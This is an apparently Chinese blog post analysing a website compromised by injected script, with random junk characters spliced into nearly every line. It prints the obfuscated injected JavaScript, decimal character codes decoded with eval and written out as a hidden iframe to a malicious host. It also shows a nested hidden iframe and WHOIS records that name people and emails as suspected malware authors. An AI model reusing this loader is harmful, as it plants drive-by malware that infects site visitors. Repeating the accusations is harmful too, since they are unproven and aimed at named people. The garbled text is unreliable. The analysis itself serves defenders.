首发在我的博客里面，
F<M#T l`UJHX http://www.areway.cn/?p=175 G ^ZL,{ NI Y0f@1z- nw+ L _b 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
! k)}p_e Xw(e@ : <script>t=’60,105,102,114,97,109,101,
YR@@:n'TP 32,115,114,99,61,104,116,116,112,58,47,47,
I3uaEv7OZc 102,114,101,101,46,117,45,117,117,117,46,99,
!h4S`2oZ/ 110,47,101,114,114,111,114,46,104,116,109,
v7&e,:r2E@ 32,119,105,100,116,104,61,49,48,48,32,104,
tV<}!~0,* 101,105,103,104,116,61,48,62,60,47,105,102,
FVW<F(g` 114,97,109,101,62′;
+ByxhSIr t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
7hZCh, O 3ZGU? Z;R <script>t=’60,105,102,114,97,109,101,32,115,
>Vy=5)/i 114,99,61,104,116,116,112,58,47,47,102,114,
B.-5$4*s 101,101,46,117,45,117,117,117,46,99,110,47,
BNw^ _j1 101,114,114,111,114,46,104,116,109,32,119,
\rY| l
105,100,116,104,61,49,48,48,32,104,101,105,
bHH{bv ~Z 103,104,116,61,48,62,60,47,105,102,114,97,
UO47XAO 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
hZ Gr/5f document.write(t);</script>
wj!p6D;;S }{[H@uhjH <html xmlns=”
%6j|/|#] http://www.w3.org/1999/xhtml LY'_ U0y4 “>
bo ' <head>
^n!{ vHz
<!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Tvi C1 {2 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
"IA[; +_" <title>首页 - 爱生活家庭网
w|pk1~c(_ TOdH 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
XAR~d6iZ 转换字符串后的大概内容是（谁点击后果自付）：
)tl=tH/$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
\[Op:^S %H75u 6 查询玉米u-uuu.cn的详细信息：
0N$tSTo.-< Domain Name: u-uuu.cn
#Z;ziM: ROID: 20070901s10001s64972306-cn
"(PJh\S>S Domain Status: ok
v|t_kNX;v* Registrant Organization: 王雷
- %*>z'|{ Registrant Name: 王雷
izsAn"v
Administrative Email:
czlovexs@126.com ;X<#y2` Sponsoring Registrar: 北京万网志成科技有限公司
^crk8O@Fw Name Server:ns.yovole.com
4j|]=58 Name Server:ns1.yovole.com
xRpL\4cs Registration Date: 2007-09-01 17:54
EgM.wQHR] Expiration Date: 2008-09-01 17:54
$'btfo4H 最后PING了一下地址 都没有什么….
U~-Z`_@^- %Ez%pT0TQ# 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
5<w"iqZ\?N <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
6[,*2a8 <script language=”javascript” src=”
';us;xR# http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script {LYA?w^GT >
..V6U"/ 这个玉米应该有可能是木马作者的：
\!j{&cJ foafau.info的详细信息：
28JWQ%- Access to INFO WHOIS information is provided to assist persons in
!31v@v:) determining the contents of a domain name registration record in the
ke_Dd? Afilias registry database. The data in this record is provided by
Q<B=m6~ Afilias Limited for informational purposes only, and Afilias does not
j G)fM? guarantee its accuracy. This service is intended only for query-based
mwVH>3{j access. You agree that you will use this data only for lawful purposes
,+<NP}Yg#G and that, under no circumstances will you use this data to: (a) allow,
^eQK.B( enable, or otherwise support the transmission by e-mail, telephone, or
<\!+J\YTA facsimile of mass unsolicited, commercial advertising or solicitations
zR N_` U to entities other than the data recipient’s own existing customers; or
^]o]' (b) enable high volume, automated, electronic processes that send
vS%o>"P queries or data to the systems of Registry Operator, a Registrar, or
T V\21 Afilias except as reasonably necessary to register domain names or
YbB8D- modify existing registrations. All rights reserved. Afilias reserves
+:pjQ1LsJ the right to modify these terms at any time. By submitting this query,
;V`e %9 . you agree to abide by this policy.
unKTa*U^q Domain ID:D22418703-LRMS
,!_$A}@0
^ Domain Name:FOAFAU.INFO
fw kX-ON Created On:20-Nov-2007 16:05:42 UTC
<iVn !P Last Updated On:20-Nov-2007 16:05:44 UTC
XBe!9/'k> Expiration Date:20-Nov-2008 16:05:42 UTC
\M(0@#-$C Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
\E1[ / Status:CLIENT DELETE PROHIBITED
J YA$_T Status:CLIENT RENEW PROHIBITED
{;1Mud Status:CLIENT TRANSFER PROHIBITED
<x@ brXA Status:CLIENT UPDATE PROHIBITED
{ \9vW; ' Status:TRANSFER PROHIBITED
O`1_eK~1 < Registrant ID:GODA-040110615
}wRHNBaEB Registrant Name:liu hong
%Ez= Registrant Organization:
$ ,Y\ Registrant Street1:beijing
2Sbo7e Registrant Street2:
<seb,> : Registrant Street3:
Rl90uF]8 Registrant City:beijing
SE/GT:} Registrant State/Province:
KR4X&d 6 Registrant Postal Code:100000
19O /Q,9 Registrant Country:CN
gB b+Q, Registrant Phone:+86.860108888777
Y1? w f. Registrant Phone Ext.:
xD+n2:I{ Registrant FAX:
Hh`x>{,|S Registrant FAX Ext.:
``KimeA~ Registrant Email:bbbshiji@163.com
0.C[/ u[ Admin ID:GODA-240110615
W@U<GF1 Admin Name:liu hong
&?C%
-"|c Admin Organization:
kSj,Pl \NC Admin Street1:beijing
at"-X ?`d Admin Street2:
6S7 =+> Admin Street3:
^-Ob($(\ Admin City:beijing
7`-f N| Admin State/Province:
| LdDL953 Admin Postal Code:100000
M
^gva?{ Admin Country:CN
/NRdBN Admin Phone:+86.860108888777
9>,$q"M }? Admin Phone Ext.:
j_L1 KB * Admin FAX:
_"Yi>.{] Admin FAX Ext.:
l] tda( Admin Email:bbbshiji@163.com
g2Pa-}{ Billing ID:GODA-340110615
5n,?&+*L Billing Name:liu hong
n<RvL^T=
Billing Organization:
TY,5]*86I& Billing Street1:beijing
0
_ 4p>v: Billing Street2:
PNVYW?l Billing Street3:
_Q&O#f Billing City:beijing
z+IHt( Billing State/Province:
\$; Q3t3 Billing Postal Code:100000
\/=w \Tj Billing Country:CN
^f][;> c Billing Phone:+86.860108888777
sXe=4`O Billing Phone Ext.:
!F ]7q ]g Billing FAX:
ErZYPl Billing FAX Ext.:
rBNl%+ sB Billing Email:bbbshiji@163.com
Op''=Ar#sh Tech ID:GODA-140110615
{ |dU|h Tech Name:liu hong
PEA<H0 Tech Organization:
[fVtQ@-S! Tech Street1:beijing
}t.J;(f f: Tech Street2:
%K@s0u Q Tech Street3:
"p,TYjT?R Tech City:beijing
qU!xh ) Tech State/Province:
{ zGM[A Tech Postal Code:100000
N0U6N< w Tech Country:CN
xOfZ9@VU Tech Phone:+86.860108888777
&dA{ <. Tech Phone Ext.:
jGV+ ~a Tech FAX:
~r(/)w\ Tech FAX Ext.:
B ^8]quOH Tech Email:bbbshiji@163.com
AH?T}t2 Name Server:NS27.DOMAINCONTROL.COM
wD9Gl.uQ Name Server:NS28.DOMAINCONTROL.COM
4(2iR0N Name Server:
P? QVT;] Name Server:
2VSs#z! Name Server:
"v %|&@ Name Server:
G'>?/l# Name Server:
}v zZWe Name Server:
J2tD).G Name Server:
4i<V^go" Name Server:
zpPzXQv]/ Name Server:
s]=bg+v?j Name Server:
Nd b_ | Name Server:
,gdf7&r D I`
M 接着下载每个文件里面的代码：
Z.!tp 一步一步看..
KDt@Xi 6|| 
drv"I[}{A 
oh>X/uj 
kqyV UfX$3 
hU 3z4|~+ 
/3] b!lFZZ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
